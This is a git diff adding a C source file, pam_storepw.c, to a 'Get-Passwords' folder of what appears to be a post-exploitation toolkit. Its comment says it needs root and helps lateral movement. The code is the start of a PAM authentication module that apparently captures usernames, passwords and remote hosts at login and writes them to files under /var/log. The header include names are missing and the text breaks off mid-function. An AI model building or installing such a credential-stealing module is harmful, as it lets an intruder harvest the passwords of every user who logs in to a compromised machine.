diff --git a/Get-Passwords/pam_storepw/pam_storepw.c b/Get-Passwords/pam_storepw/pam_storepw.c new file mode 100644 index 0000000..1d9cd8b --- /dev/null +++ b/Get-Passwords/pam_storepw/pam_storepw.c @@ -0,0 +1,136 @@ +/* +Source: http://www.adeptus-mechanicus.com/codex/logsshp/logsshp.html +Requires: pam-devel +NOTE: You need root level access to modify pam. This is NOT for privesc, but can help lateral movement +*/ + +#ifndef LINUX +#include +#endif /* LINUX */ + +#define PAM_SM_AUTH +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define _XOPEN_SOURCE +#include + +#define PWDIR_PARAM "pwdir" +#define PWDIR_DEFAULT "/var/log" +#define PWDIR_LEN 256 +#define BUF_MAX 256 + +#define DEBUG + +#ifdef DEBUG +# define D(a) a; +#else +# define D(a) {} +#endif + +/* logging function ripped from pam_listfile.c */ +static void _pam_log(int err, const char *format, ...) { + va_list args; + + va_start(args, format); + openlog("pam_storepw", LOG_CONS|LOG_PID, LOG_AUTH); + vsyslog(err, format, args); + va_end(args); + closelog(); +} + +/* expected hook for auth service */ +PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags, + int argc, const char **argv) { + int pcnt, + fd, + len, + res, + check; + char *pwdir=0, + *pword, + *uname, + *remhst, + *file, + buffer[BUF_MAX]; + FILE *pwfile; + + for(pcnt=0;pcnt